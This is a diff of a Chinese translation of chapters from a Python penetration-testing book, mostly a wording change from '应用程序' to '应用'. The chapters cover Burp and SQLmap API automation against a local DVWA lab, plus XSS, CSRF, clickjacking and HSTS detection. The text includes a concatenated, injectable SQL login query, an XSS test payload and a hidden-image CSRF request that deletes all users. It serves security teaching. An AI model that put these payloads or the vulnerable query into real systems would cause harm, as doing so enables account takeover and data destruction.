@@ -397,7 +397,7 @@ ML 在网络安全领域中的一个应用是，我曾经尝试过自动化报
 
 # 总结
 
-在本章中，我们讨论了将 ML 与 Python 结合使用，以及如何将其应用于网络安全领域。数据科学和 ML 在网络安全领域还有许多其他精彩的应用，涉及日志分析、流量监控、异常检测、数据过滤、URL 分析、垃圾邮件检测等。现代 SIEM 解决方案大多建立在机器学习的基础上，并使用大数据引擎减少监控中的人为分析。请参阅进一步阅读部分，了解机器学习与网络安全的各种其他用例。还必须注意，pen 测试人员必须了解机器学习，才能发现漏洞。在下一章中，用户将了解如何使用 Python 自动化各种 web 应用程序攻击类别，包括 SQLI、XSS、CSRF 和点击劫持。
+在本章中，我们讨论了将 ML 与 Python 结合使用，以及如何将其应用于网络安全领域。数据科学和 ML 在网络安全领域还有许多其他精彩的应用，涉及日志分析、流量监控、异常检测、数据过滤、URL 分析、垃圾邮件检测等。现代 SIEM 解决方案大多建立在机器学习的基础上，并使用大数据引擎减少监控中的人为分析。请参阅进一步阅读部分，了解机器学习与网络安全的各种其他用例。还必须注意，pen 测试人员必须了解机器学习，才能发现漏洞。在下一章中，用户将了解如何使用 Python 自动化各种 web 应用攻击类别，包括 SQLI、XSS、CSRF 和点击劫持。
 
 # 问题
 
@@ -410,6 +410,6 @@ ML 在网络安全领域中的一个应用是，我曾经尝试过自动化报
 
 *   使用机器学习检测钓鱼网站：[https://github.com/abhishekdid/detecting-phishing-websites](https://github.com/abhishekdid/detecting-phishing-websites)
 *   使用机器学习进行日志分析：[https://github.com/logpai](https://github.com/logpai)
-*   网络安全 NLP:[https://www.recordedfuture.com/machine-learning-](https://www.recordedfuture.com/machine-learning-cybersecurity-applications/) [网络安全应用程序/](https://www.recordedfuture.com/machine-learning-cybersecurity-applications/)
+*   网络安全 NLP:[https://www.recordedfuture.com/machine-learning-](https://www.recordedfuture.com/machine-learning-cybersecurity-applications/) [网络安全应用/](https://www.recordedfuture.com/machine-learning-cybersecurity-applications/)
 *   使用机器学习的垃圾邮件检测：[https://github.com/Meenapintu/Spam-Detection](https://github.com/Meenapintu/Spam-Detection)
 *   Python 深度学习：[https://www.manning.com/books/deep-learning-with-python](https://www.manning.com/books/deep-learning-with-python)
\ No newline at end of file

trans/handson-pentest-py/08.md

-# 自动化 Web 应用程序扫描-第 1 部分
+# 八、自动化 Web 应用扫描——第一部分
 
-当我们谈到 web 应用程序扫描时，会想到各种攻击向量，如 SQL 注入、XSS、CSRF、LFI 和 RFI。当我们谈论 web 应用程序测试时，我们可能想到的工具是 Burp 套件。在本章中，我们将研究如何使用 Python 来尝试自动化 Web 应用程序的攻击向量检测。我们还将研究如何使用 Python 自动执行打嗝扫描，以覆盖我们必须手动发现的漏洞。在本章中，我们将研究以下主题：
+当我们谈到 web 应用扫描时，会想到各种攻击向量，如 SQL 注入、XSS、CSRF、LFI 和 RFI。当我们谈论 web 应用测试时，我们可能想到的工具是 Burp 套件。在本章中，我们将研究如何使用 Python 来尝试自动化 Web 应用的攻击向量检测。我们还将研究如何使用 Python 自动执行打嗝扫描，以覆盖我们必须手动发现的漏洞。在本章中，我们将研究以下主题：
 
-*   使用 Burp 套件自动化 web 应用程序扫描
+*   使用 Burp 套件自动化 web 应用扫描
 *   用 Python 实现 Burp 自动化
 *   SQL 注入
 *   用 Python 自动检测 SQL 注入
 
-# 使用 Burp 套件自动化 web 应用程序扫描
+# 使用 Burp 套件自动化 web 应用扫描
 
 Burp Suite Professional 在其 API 方面为笔式测试员提供了额外的功能。在 Burp Suite 专业 API 的帮助下，测试人员可以自动调用扫描并将其结果与其他工具集成。
 
@@ -27,9 +27,9 @@ Burp suite 目前通过其许可版本（Burp suite professional）提供 API
 
 我们可以看到 API 正在监听端口`1337`。我们使用 API 键来引用这个端点地址。API 公开了三个端点：获取问题定义、启动扫描和获取正在运行的扫描的状态。
 
-让我们看看我们需要哪些参数来启动新的扫描，以测试这个该死的易受攻击的 Web 应用程序。
+让我们看看我们需要哪些参数来启动新的扫描，以测试这个该死的易受攻击的 Web 应用。
 
-可以从以下 URL 安装应用程序：
+可以从以下 URL 安装应用：
 
 *   [http://www.dvwa.co.uk/](http://www.dvwa.co.uk/)
 *   [https://github.com/ethicalhack3r/DVWA](https://github.com/ethicalhack3r/DVWA)
@@ -53,7 +53,7 @@ curl -vgw "\n" -X POST 'http://127.0.0.1:1337/<API KEY>/v0.1/scan' -d '{"applica
 
 ![](assets/d4f2011e-9920-41cf-adfe-9f51337b2faf.png)
 
-在上一个屏幕截图中，我们可以看到一个 ID 为`9`的新任务已经创建，它正在扫描本地托管的易受攻击的 Web 应用程序。截图时，任务能够识别四个高问题、十个中问题和三个低问题。在下一节中，我们可以看到如何让扫描仪不断告诉我们扫描的状态。为了做到这一点，我们需要设置一个回调 URL。换句话说，我们需要一个监听端口，扫描仪将不断地发送结果。我们可以在控制台上按如下方式打印：
+在上一个屏幕截图中，我们可以看到一个 ID 为`9`的新任务已经创建，它正在扫描本地托管的易受攻击的 Web 应用。截图时，任务能够识别四个高问题、十个中问题和三个低问题。在下一节中，我们可以看到如何让扫描仪不断告诉我们扫描的状态。为了做到这一点，我们需要设置一个回调 URL。换句话说，我们需要一个监听端口，扫描仪将不断地发送结果。我们可以在控制台上按如下方式打印：
 
 ```
 curl -vgw "\n" -X POST 'http://127.0.0.1:1337/Sm2fbfwrTQVqwH3VERLKIuXkiVbAwJgm/v0.1/scan' -d '{"application_logins":[{"password":"password","username":"admin"}],"scan_callback":{"url":"http://127.0.0.1:8000"},"scope":{"exclude":[{"rule":"http://192.168.250.1/dvwa/logout.php","type":"SimpleScopeDef"}],"include":[{"rule":"http://192.168.250.1/dvwa/","type":"SimpleScopeDef"}]},"urls":["http://192.168.250.1/dvwa/"]}'
@@ -179,9 +179,9 @@ obj.start()
 
 # SQL 注入
 
-**SQL 注入攻击**是一种攻击，使用该攻击可以更改 SQL 查询的执行以满足攻击者的需要。web 应用程序可能在后端与数据库进行交互，它可能会接受用户输入，这些输入构成参数或将要执行的 SQL 查询的一部分，以插入、删除、更新或检索数据库表中的数据。在这种情况下，开发人员必须非常小心，不要将用户提供的参数直接传递给后端数据库系统，因为这可能导致 SQL 注入。开发人员必须确保使用参数化查询。假设我们在应用程序上有一个登录页面，该页面接受用户的用户名和密码，并将此信息传递给支持的 SQL 查询：`select * from users where email ='"+request.POST['email']+"' and password ='"+request.POST['password']"`。
+**SQL 注入攻击**是一种攻击，使用该攻击可以更改 SQL 查询的执行以满足攻击者的需要。web 应用可能在后端与数据库进行交互，它可能会接受用户输入，这些输入构成参数或将要执行的 SQL 查询的一部分，以插入、删除、更新或检索数据库表中的数据。在这种情况下，开发人员必须非常小心，不要将用户提供的参数直接传递给后端数据库系统，因为这可能导致 SQL 注入。开发人员必须确保使用参数化查询。假设我们在应用上有一个登录页面，该页面接受用户的用户名和密码，并将此信息传递给支持的 SQL 查询：`select * from users where email ='"+request.POST['email']+"' and password ='"+request.POST['password']"`。
 
-应用程序中编写的逻辑将检查查询是否返回任何行。如果存在，则该用户是合法的，并且将为该用户分配一个有效会话，否则将显示显示错误消息`Invalid credentials`。
+应用中编写的逻辑将检查查询是否返回任何行。如果存在，则该用户是合法的，并且将为该用户分配一个有效会话，否则将显示显示错误消息`Invalid credentials`。
 
 假设用户将其电子邮件地址设置为`admin@abc.com`，密码设置为`admin@123`，在这种情况下，将在后端执行的查询如下：`select * from users where email ='admin@abc.com' and password ='admin@123'`。
 
@@ -191,13 +191,13 @@ obj.start()
 
 # 用 Python 自动检测 SQL 注入
 
-我们在这里的重点是了解如何在 Python 的帮助下自动检测 SQL 注入。每当我们谈论 SQL 注入时，我们想到的工具就是 SQLmap，这是一个非常好的工具，是我个人最喜欢的在 web 应用程序中检测 SQL 注入的工具。互联网上有许多教程介绍如何使用 SQLmap 检测 SQL 注入。在本节中，我们将了解如何使用服务器版本的 SQLmap（它公开了一个 API）来自动化检测 SQL 注入漏洞的整个过程。我们将使用 Python 脚本来自动化检测过程。
+我们在这里的重点是了解如何在 Python 的帮助下自动检测 SQL 注入。每当我们谈论 SQL 注入时，我们想到的工具就是 SQLmap，这是一个非常好的工具，是我个人最喜欢的在 web 应用中检测 SQL 注入的工具。互联网上有许多教程介绍如何使用 SQLmap 检测 SQL 注入。在本节中，我们将了解如何使用服务器版本的 SQLmap（它公开了一个 API）来自动化检测 SQL 注入漏洞的整个过程。我们将使用 Python 脚本来自动化检测过程。
 
 让我们启动 SQLmap 服务器：
 
 ![](assets/b05c9931-ed0e-457b-bba4-a87c67eeeb8a.png)
 
-现在服务器已经启动并在本地主机上运行（端口`8775`），让我们看看如何使用 cURL 和 API 扫描应用程序（DVWA）进行 SQL 注入：
+现在服务器已经启动并在本地主机上运行（端口`8775`），让我们看看如何使用 cURL 和 API 扫描应用（DVWA）进行 SQL 注入：
 
 *   创建一个新任务，如下所示：
 
@@ -374,13 +374,13 @@ Scan Started successfully .Now polling
 
 # 总结
 
-在本章中，我们讨论了使用 Python 自动化 web 应用程序扫描和评估的方法。我们了解了如何使用 Burp 套件 API 来用 Python 扫描底层应用程序，并研究了一组评估结果。我们还讨论了 SQL 注入以及 Python 如何与我们最喜欢的工具 SQLmap 一起使用。最后，我们研究了使用 Python 调用 SQLmap 以自动化 SQL 注入检测的整个过程。在下一章中，我们将了解如何使用 Python 自动检测其他 web 应用程序漏洞，如 XSS、CSRF、点击劫持和 SSL 条带。
+在本章中，我们讨论了使用 Python 自动化 web 应用扫描和评估的方法。我们了解了如何使用 Burp 套件 API 来用 Python 扫描底层应用，并研究了一组评估结果。我们还讨论了 SQL 注入以及 Python 如何与我们最喜欢的工具 SQLmap 一起使用。最后，我们研究了使用 Python 调用 SQLmap 以自动化 SQL 注入检测的整个过程。在下一章中，我们将了解如何使用 Python 自动检测其他 web 应用漏洞，如 XSS、CSRF、点击劫持和 SSL 条带。
 
 # 问题
 
 1.  使用 Burp 编写 Python 代码的其他方法有哪些？
 2.  其他哪些 SQL 注入工具可以通过 Python 实现自动化？
-3.  使用 web 应用程序扫描的自动化方法的缺点和优点是什么？
+3.  使用 web 应用扫描的自动化方法的缺点和优点是什么？
 
 # 进一步阅读
 

trans/handson-pentest-py/09.md

-# 自动 Web 应用程序扫描.第 2 部分
+# 自动 Web 应用扫描.第 2 部分
 
-继续上一章的讨论，我们现在将学习如何使用 Python 自动检测**跨站点脚本**（**XSS**）、**跨站点请求伪造**（**CSRF**）、点击劫持和**安全套接字层**（【T10 SSL】）剥离。我们将在本章中讨论的所有技术都将帮助我们加快 web 应用程序评估过程。我建议您不要局限于我们将在本章中讨论的方法。讨论的方法可以作为基线，同样的想法可以扩展和改进，以获得更好的解决方案或开发工具来帮助笔测试社区。本章将讨论以下主题：
+继续上一章的讨论，我们现在将学习如何使用 Python 自动检测**跨站点脚本**（**XSS**）、**跨站点请求伪造**（**CSRF**）、点击劫持和**安全套接字层**（【T10 SSL】）剥离。我们将在本章中讨论的所有技术都将帮助我们加快 web 应用评估过程。我建议您不要局限于我们将在本章中讨论的方法。讨论的方法可以作为基线，同样的想法可以扩展和改进，以获得更好的解决方案或开发工具来帮助笔测试社区。本章将讨论以下主题：
 
 *   跨站点脚本
 *   跨站点请求伪造
@@ -9,7 +9,7 @@
 
 # XSS
 
-**XSS**攻击属于 web 应用攻击的注入类。它们主要是由于没有清理从最终用户传递到 web 应用程序的用户输入而导致的。这不会导致服务器受到危害，但对用户数据的危害是非常严重的。当攻击者能够将某种 Java 脚本或 HTML 内容注入将提供给用户的网页时，就会发生攻击。此恶意内容可能试图从访问网站的用户处窃取敏感信息。在以下部分中，我们将了解不同类型的 XSS 攻击。
+**XSS**攻击属于 web 应用攻击的注入类。它们主要是由于没有清理从最终用户传递到 web 应用的用户输入而导致的。这不会导致服务器受到危害，但对用户数据的危害是非常严重的。当攻击者能够将某种 Java 脚本或 HTML 内容注入将提供给用户的网页时，就会发生攻击。此恶意内容可能试图从访问网站的用户处窃取敏感信息。在以下部分中，我们将了解不同类型的 XSS 攻击。
 
 # 存储或类型 1 XSS 攻击
 
@@ -27,7 +27,7 @@
 
 # 用 Python 实现 XSS 的自动检测
 
-在这里，我们将看到一种使用 Python、Beautifulsoup、Selenium 和 Phantomjs 在 web 应用程序中自动检测 XS 的方法。
+在这里，我们将看到一种使用 Python、Beautifulsoup、Selenium 和 Phantomjs 在 web 应用中自动检测 XS 的方法。
 
 让我们通过运行以下命令来安装依赖项：
 
@@ -47,16 +47,16 @@ sudo cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/local/bin/
 让我们了解每种方法的目标：
 
 *   **BeautifulSoup**是一个出色的 Python 库，用于抓取和解析网页。
-*   **Selenium**是一个用于自动测试 web 应用程序的自动化框架。它的功能在安全领域尤其重要，用于浏览器模拟和自动遍历 web 应用程序的工作流。
+*   **Selenium**是一个用于自动测试 web 应用的自动化框架。它的功能在安全领域尤其重要，用于浏览器模拟和自动遍历 web 应用的工作流。
 *   **Phantomjs**是一个用于无头浏览的实用程序。它执行浏览器的所有活动而不实际加载它，而是在后台运行它，这使得它轻量级且非常有用。
 
 安装 Phantomjs 后，需要在控制台上执行以下命令：`unset QT_QPA_PLATFORM`。这用于处理 Ubuntu 16.04 上 Phantomjs 版本引发的错误，如下所示：`Message: Service phantomjs unexpectedly exited. Status code was: -6`。
 
-应该注意，本练习的目标是模拟正常的用户行为，并在 web 应用程序中找到注入点。我们所说的*注入点*是指用户可以提供输入的所有输入字段。为了找到注入点，我们将使用`BeautifulSoup`库。从网页中，我们提取类型为 text、password 或 textarea 的所有字段。一旦找到注入点，我们将使用 selenium 在注入点中传递有效负载值。在注入点中设置有效负载后，我们将再次在`BeautifulSoup`的帮助下找到表单的提交按钮。之后，我们将提交按钮的 ID 传递给 silinium，单击它，以提交表单。
+应该注意，本练习的目标是模拟正常的用户行为，并在 web 应用中找到注入点。我们所说的*注入点*是指用户可以提供输入的所有输入字段。为了找到注入点，我们将使用`BeautifulSoup`库。从网页中，我们提取类型为 text、password 或 textarea 的所有字段。一旦找到注入点，我们将使用 selenium 在注入点中传递有效负载值。在注入点中设置有效负载后，我们将再次在`BeautifulSoup`的帮助下找到表单的提交按钮。之后，我们将提交按钮的 ID 传递给 silinium，单击它，以提交表单。
 
 我们将使用的有效载荷为`<a href=#> Malicious Link XSS </a>`。如果这是创建的，我们可以推断该网站易受 XSS 攻击。还必须注意的是，在提交有效负载后，我们还捕获了网页的屏幕截图，以查看链接是否实际创建，这将作为概念证明。
 
-需要注意的是，我们将在本地 IP`http://192.168.250.1/dvwa`上运行的 DVWA 应用程序上演示我们脚本的概念验证。正如我们所知，应用程序需要用户登录。我们将首先让脚本自动登录到应用程序中，然后设置适当的 cookie 和会话。然后，在登录之后，我们将导航到 XSS 所在的页面并执行上述操作。我们还将更新 cookie 值并设置 security=low，以便在 DVWA 应用程序中实现 XSS。应该注意的是，相同的概念可以扩展并应用于任何 web 应用程序，因为我们使用一种非常通用的方法来识别注入点并在其中提交有效负载。修改脚本并根据需要进一步扩展它。我将致力于在这个脚本之上开发一个功能齐全的 XSS 检测工具，它将位于我的 GitHub 存储库中。请随时捐款。
+需要注意的是，我们将在本地 IP`http://192.168.250.1/dvwa`上运行的 DVWA 应用上演示我们脚本的概念验证。正如我们所知，应用需要用户登录。我们将首先让脚本自动登录到应用中，然后设置适当的 cookie 和会话。然后，在登录之后，我们将导航到 XSS 所在的页面并执行上述操作。我们还将更新 cookie 值并设置 security=low，以便在 DVWA 应用中实现 XSS。应该注意的是，相同的概念可以扩展并应用于任何 web 应用，因为我们使用一种非常通用的方法来识别注入点并在其中提交有效负载。修改脚本并根据需要进一步扩展它。我将致力于在这个脚本之上开发一个功能齐全的 XSS 检测工具，它将位于我的 GitHub 存储库中。请随时捐款。
 
 在下一节中，我们将了解极端自动化。
 
@@ -92,27 +92,27 @@ sudo cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/local/bin/
 
 ![](assets/cfa0cf01-a5eb-4a50-8110-625e472120eb.png)
 
-应该注意的是，我们只在两个页面中应用了前面的方法来检测 XSS，只是为了减少执行时间并展示这个概念的威力。但是，这可以扩展到应用程序的所有 web 页面。我们需要删除检查从`<a>`标记获取的 URL 是否存在于列表中的条件：`self.target_links=["vulnerabilities/xss_r/","vulnerabilities/xss_s/"]`。尝试此方法，删除此条件，并在需要时修改脚本以查看其内容。
+应该注意的是，我们只在两个页面中应用了前面的方法来检测 XSS，只是为了减少执行时间并展示这个概念的威力。但是，这可以扩展到应用的所有 web 页面。我们需要删除检查从`<a>`标记获取的 URL 是否存在于列表中的条件：`self.target_links=["vulnerabilities/xss_r/","vulnerabilities/xss_s/"]`。尝试此方法，删除此条件，并在需要时修改脚本以查看其内容。
 
 # CSRF
 
-**CSRF**是一种攻击，攻击者借助该攻击以允许代表当前登录用户执行某些操作的方式利用有效用户会话。例如，假设管理员用户登录到应用程序，并且在浏览器中设置了有效的会话 cookie。管理员可以通过单击 delete all 按钮从网站中删除所有用户，该按钮在内部调用 HTTP 请求`http://www.mysite.com/delete?users=all`。web 浏览器的一个属性，用于在用户登录到应用程序后，将会话参数/cookie 发送到服务器，以满足后续的每个请求。攻击者可以通过制作一个包含 HTML 图像的假页面（如`<img src"http://www.mysite.com/delete?users=all" style="display:hidden">`）来利用此漏洞。攻击者可以将此假页面的链接发送给当前登录其网站`mysite.com`的管理员。如果管理员用户未意识到恶意意图，则会代表他们触发删除所有用户的 HTTP 请求，并发送有效的会话 cookie，从而导致服务器删除所有用户。
+**CSRF**是一种攻击，攻击者借助该攻击以允许代表当前登录用户执行某些操作的方式利用有效用户会话。例如，假设管理员用户登录到应用，并且在浏览器中设置了有效的会话 cookie。管理员可以通过单击 delete all 按钮从网站中删除所有用户，该按钮在内部调用 HTTP 请求`http://www.mysite.com/delete?users=all`。web 浏览器的一个属性，用于在用户登录到应用后，将会话参数/cookie 发送到服务器，以满足后续的每个请求。攻击者可以通过制作一个包含 HTML 图像的假页面（如`<img src"http://www.mysite.com/delete?users=all" style="display:hidden">`）来利用此漏洞。攻击者可以将此假页面的链接发送给当前登录其网站`mysite.com`的管理员。如果管理员用户未意识到恶意意图，则会代表他们触发删除所有用户的 HTTP 请求，并发送有效的会话 cookie，从而导致服务器删除所有用户。
 
 # 用 Python 自动检测 CSRF
 
-在这里，我们将研究一种方法，我们将使用 Python、Beautifulsoup、Selenium 和 Phantomjs 在 web 应用程序中自动检测 CSRF。然而，在自动检测之前，让我们讨论一下我们将采取的方法。我们知道，通过实施反 CSRF 令牌，可以减轻 CSRF 攻击。
+在这里，我们将研究一种方法，我们将使用 Python、Beautifulsoup、Selenium 和 Phantomjs 在 web 应用中自动检测 CSRF。然而，在自动检测之前，让我们讨论一下我们将采取的方法。我们知道，通过实施反 CSRF 令牌，可以减轻 CSRF 攻击。
 
 从服务器提供的任何可能修改服务器状态的表单都应该有一个隐藏字段，其中包含一个称为 CSRF 令牌的随机加密值。大多数 CSRF 令牌背后的原理是，此表单和 cookie 还必须设置一个神秘值，该值转换为隐藏字段中服务的令牌的相同值。当表单发回服务器时，将提取 cookie 的秘密值，并在隐藏字段中将其与发回服务器的隐藏值进行比较。如果两个秘密都匹配，则假定请求是真实的，并进一步处理。
 
 我们将在检测机制中使用相同的方法。对于任何将发布回服务器的表单，我们将提取所有输入字段，并将它们与各种技术（如 Java、PHP、Python/Django、ASP.NET 和 Ruby）中 CSRF 常用的隐藏字段参数名称列表进行比较。此外，我们还将查看在提交表单之前设置的 cookie，并将 cookie 的名称与所有知名技术堆栈中用于 CSRF 保护的常用名称进行比较。
 
-同样，应该注意的是，脚本将模拟正常的人类行为。它将登录到应用程序并维护有效会话，然后尝试查找 CSRF 缺陷。最常用的 CSRF 隐藏场参数以及技术堆栈如下所示：
+同样，应该注意的是，脚本将模拟正常的人类行为。它将登录到应用并维护有效会话，然后尝试查找 CSRF 缺陷。最常用的 CSRF 隐藏场参数以及技术堆栈如下所示：
 
 *   `ASP.NET [Hiddenfiled : __RequestVerificationToken, Cookie : RequestVerificationToken]`
 *   `PHP [Hiddenfiled : token, Cookie : token], [Hiddenfileld :_csrfToken, Cookie : csrfToken]`
 *   `PHP [Hiddenfiled : _csrftoken, Cookie : csrftoken]`
 
-前面的列表可能更详尽，但就我们的目的而言，它是可以的。我们将使用 DVWA 应用程序创建概念验证脚本。
+前面的列表可能更详尽，但就我们的目的而言，它是可以的。我们将使用 DVWA 应用创建概念验证脚本。
 
 # 动作脚本
 
@@ -132,11 +132,11 @@ sudo cp phantomjs-2.1.1-linux-x86_64/bin/phantomjs /usr/local/bin/
 
 ![](assets/d9395078-a5a6-4dfc-8569-d01a54dd881a.png)
 
-DVWA 应用程序捕获的屏幕截图如下所示：
+DVWA 应用捕获的屏幕截图如下所示：
 
 ![](assets/6f7cec96-632d-491f-a3b8-f6340ce0f9ca.png)
 
-应该注意的是，我们使用前面的方法仅在一个页面中检测 CSRF，只是为了减少执行时间并展示概念的威力。但是，这可以扩展到应用程序的所有 web 页面。我们需要删除检查从`<a>`标记获取的 URL 是否在列表中的条件：`self.target_links=["vulnerabilities/csrf"]`。尝试相同的方法，删除此条件，并在需要时修改脚本以查看其涵盖的内容。
+应该注意的是，我们使用前面的方法仅在一个页面中检测 CSRF，只是为了减少执行时间并展示概念的威力。但是，这可以扩展到应用的所有 web 页面。我们需要删除检查从`<a>`标记获取的 URL 是否在列表中的条件：`self.target_links=["vulnerabilities/csrf"]`。尝试相同的方法，删除此条件，并在需要时修改脚本以查看其涵盖的内容。
 
 # 点击劫持
 
@@ -154,11 +154,11 @@ DVWA 应用程序捕获的屏幕截图如下所示：
 
 # 用 Python 自动检测点击劫持
 
-在这里，我们将看到一种方法，我们将使用它来查看网站是否容易被点击劫持。我们将使用一个简单的 Python 脚本来检查应用程序呈现的响应头中是否存在 X-Frame-Options。我们将调用脚本`CJ_detector.py`并添加以下内容：
+在这里，我们将看到一种方法，我们将使用它来查看网站是否容易被点击劫持。我们将使用一个简单的 Python 脚本来检查应用呈现的响应头中是否存在 X-Frame-Options。我们将调用脚本`CJ_detector.py`并添加以下内容：
 
 ![](assets/21e9f24e-ebae-4ab8-9cbb-e3472a0e0793.png)
 
-我们将运行脚本，查看 DVWA 应用程序是否受到了点击劫持保护：
+我们将运行脚本，查看 DVWA 应用是否受到了点击劫持保护：
 
 ![](assets/4e8bfe5d-13f7-4f6f-aec8-b5edca533ad8.png)
 
@@ -176,24 +176,24 @@ DVWA 应用程序捕获的屏幕截图如下所示：
 
 # 用 Python 自动检测缺失的 HST
 
-在这里，我们将看到一种方法，我们将使用它来确定网站是否容易受到点击劫持。我们将使用一个简单的 Python 脚本来检查应用程序呈现的响应头中是否存在严格的传输安全性。我们将脚本命名为`HSTS_detector.py`并在其中放入以下内容：
+在这里，我们将看到一种方法，我们将使用它来确定网站是否容易受到点击劫持。我们将使用一个简单的 Python 脚本来检查应用呈现的响应头中是否存在严格的传输安全性。我们将脚本命名为`HSTS_detector.py`并在其中放入以下内容：
 
 ![](assets/eca5a805-7183-4545-9e35-5574f75f05e4.png)
 
-让我们运行脚本，看看应用程序 DVWA 是否受到点击劫持的保护：
+让我们运行脚本，看看应用 DVWA 是否受到点击劫持的保护：
 
 ![](assets/abcd12ce-31c4-460a-b738-686c049c7c47.png)
 
 # 总结
 
-在本章中，我们讨论了使用 Python 自动化 web 应用程序扫描和评估的方法。我们了解了如何使用 Python 自动检测 web 应用程序漏洞，如 XSS、CSRF、clickjacking 和 SSL 剥离。所有这些都可以在实际评估中非常方便，并将帮助笔测试人员更好地掌握使用 python 实现自动化。
+在本章中，我们讨论了使用 Python 自动化 web 应用扫描和评估的方法。我们了解了如何使用 Python 自动检测 web 应用漏洞，如 XSS、CSRF、clickjacking 和 SSL 剥离。所有这些都可以在实际评估中非常方便，并将帮助笔测试人员更好地掌握使用 python 实现自动化。
 
 在下一章中，我们将探讨与反向工程、模糊化和缓冲区溢出相关的各种概念。
 
 # 问题
 
-1.  Python 还可以自动化哪些应用程序安全用例？
-2.  我们如何使用 Python 集成网络扫描和 web 应用程序扫描？
+1.  Python 还可以自动化哪些应用安全用例？
+2.  我们如何使用 Python 集成网络扫描和 web 应用扫描？
 
 # 进一步阅读
 

trans/handson-pentest-py/10.md

 # 构建自定义爬虫程序
 
-当我们谈到 web 应用程序扫描时，我们经常会遇到爬虫，它们内置在我们用于 web 应用程序扫描的自动扫描工具中。Burp Suite、Acunetix、web inspect 等工具都有出色的爬虫程序，可以在 web 应用程序中进行爬网，并尝试针对爬网 URL 的各种攻击向量。在本章中，我们将了解爬虫是如何工作的，以及在引擎盖下会发生什么。本章的目的是让用户了解爬虫如何收集所有信息并形成各种攻击的攻击面。同样的知识可以在以后用于开发一个自定义工具，该工具可以自动化 web 应用程序扫描。在本章中，我们将创建一个自定义网络爬虫程序，该程序将在网站中爬行，并为我们提供一个包含以下内容的列表：
+当我们谈到 web 应用扫描时，我们经常会遇到爬虫，它们内置在我们用于 web 应用扫描的自动扫描工具中。Burp Suite、Acunetix、web inspect 等工具都有出色的爬虫程序，可以在 web 应用中进行爬网，并尝试针对爬网 URL 的各种攻击向量。在本章中，我们将了解爬虫是如何工作的，以及在引擎盖下会发生什么。本章的目的是让用户了解爬虫如何收集所有信息并形成各种攻击的攻击面。同样的知识可以在以后用于开发一个自定义工具，该工具可以自动化 web 应用扫描。在本章中，我们将创建一个自定义网络爬虫程序，该程序将在网站中爬行，并为我们提供一个包含以下内容的列表：
 
 *   网页
 *   HTML 表单
 *   每个表单中的所有输入字段
 
-我们将了解如何以两种模式抓取 web 应用程序：
+我们将了解如何以两种模式抓取 web 应用：
 
 *   未经认证
 *   通过身份验证
 
-我们将在 Django（Python 的 web 应用程序框架）中开发一个小型 GUI，使用户能够在测试应用程序上进行爬行。必须注意的是，本章的主要重点是爬虫程序的工作原理，因此我们将详细讨论爬虫程序代码。我们不会把重点放在 Django web 应用程序的工作上。为此，本章末尾将提供参考链接。我将在 GitHub 存储库中共享整个代码库，供读者下载和执行，以便更好地了解应用程序。
+我们将在 Django（Python 的 web 应用框架）中开发一个小型 GUI，使用户能够在测试应用上进行爬行。必须注意的是，本章的主要重点是爬虫程序的工作原理，因此我们将详细讨论爬虫程序代码。我们不会把重点放在 Django web 应用的工作上。为此，本章末尾将提供参考链接。我将在 GitHub 存储库中共享整个代码库，供读者下载和执行，以便更好地了解应用。
 
 # 设置和安装
 
@@ -35,7 +35,7 @@ pip install django==1.6 pip install beautifulsoup4 pip install requests pip inst
 
 # 爬虫代码
 
-如前所述，我们有一个用户界面，用于收集要爬网的 web 应用程序的用户参数。因此，请求被转发到`views.py`文件，从那里我们将调用爬虫驱动程序文件`run_crawler.py`，该文件将依次调用`crawler.py`。`new_scan`视图方法获取所有用户参数，将其保存在数据库中，并为爬网项目分配新的项目 ID。然后将项目 ID 传递给爬虫驱动程序，让爬虫驱动程序在 ID 的帮助下引用并拉取相关项目参数，然后将其传递给`crawler.py`开始扫描。
+如前所述，我们有一个用户界面，用于收集要爬网的 web 应用的用户参数。因此，请求被转发到`views.py`文件，从那里我们将调用爬虫驱动程序文件`run_crawler.py`，该文件将依次调用`crawler.py`。`new_scan`视图方法获取所有用户参数，将其保存在数据库中，并为爬网项目分配新的项目 ID。然后将项目 ID 传递给爬虫驱动程序，让爬虫驱动程序在 ID 的帮助下引用并拉取相关项目参数，然后将其传递给`crawler.py`开始扫描。
 
 # url.py 和 Views.py 代码段
 
@@ -59,7 +59,7 @@ pip install django==1.6 pip install beautifulsoup4 pip install requests pip inst
 
 ![](assets/61d66aeb-a4ba-4316-9ec6-3cdee9d63aa4.png)
 
-因此，当编译代码或使用`python manage.py syncdb`命令进行数据库同步时，将在工作数据库中创建一个名为`<project_name>_Project`的表。表的模式将根据类中实例变量的定义进行复制。因此，对于 projects 表的前一种情况，将创建 18 列。该表将有一个主键`project_name`，其数据类型在 Django 应用程序中定义为`CharField`，但在后端将转换为类似`varchar(50)`的内容。本例中的后端数据库是 SQLite 数据库，在`settings.py`文件中定义如下：
+因此，当编译代码或使用`python manage.py syncdb`命令进行数据库同步时，将在工作数据库中创建一个名为`<project_name>_Project`的表。表的模式将根据类中实例变量的定义进行复制。因此，对于 projects 表的前一种情况，将创建 18 列。该表将有一个主键`project_name`，其数据类型在 Django 应用中定义为`CharField`，但在后端将转换为类似`varchar(50)`的内容。本例中的后端数据库是 SQLite 数据库，在`settings.py`文件中定义如下：
 
 ![](assets/39093f85-29cf-47bf-8a37-82d16ce9e608.png)
 
@@ -107,11 +107,11 @@ pip install django==1.6 pip install beautifulsoup4 pip install requests pip inst
 
 ![](assets/dc67b572-3501-45f3-b936-264b5b4bdfa3.png)
 
-如前所述，爬虫程序分两次迭代。在第一次迭代中，它尝试在没有身份验证的情况下对 web 应用程序进行爬网，在第二次迭代中，它使用身份验证对应用程序进行爬网。认证信息保存在`self.auth`变量中，该变量默认初始化为`false`。因此，第一次迭代将始终没有身份验证。
+如前所述，爬虫程序分两次迭代。在第一次迭代中，它尝试在没有身份验证的情况下对 web 应用进行爬网，在第二次迭代中，它使用身份验证对应用进行爬网。认证信息保存在`self.auth`变量中，该变量默认初始化为`false`。因此，第一次迭代将始终没有身份验证。
 
 需要注意的是，前面提到的代码属于`< if self.auth ==True >`部分，其目的是从登录网页/URL 中识别登录表单。识别登录表单后，代码将尝试识别该表单的所有输入字段。然后，它使用合法的用户凭据来制定数据负载，以提交登录表单。提交后，将返回并保存有效的用户会话。该会话将用于第二次爬网迭代，这是基于身份验证的。
 
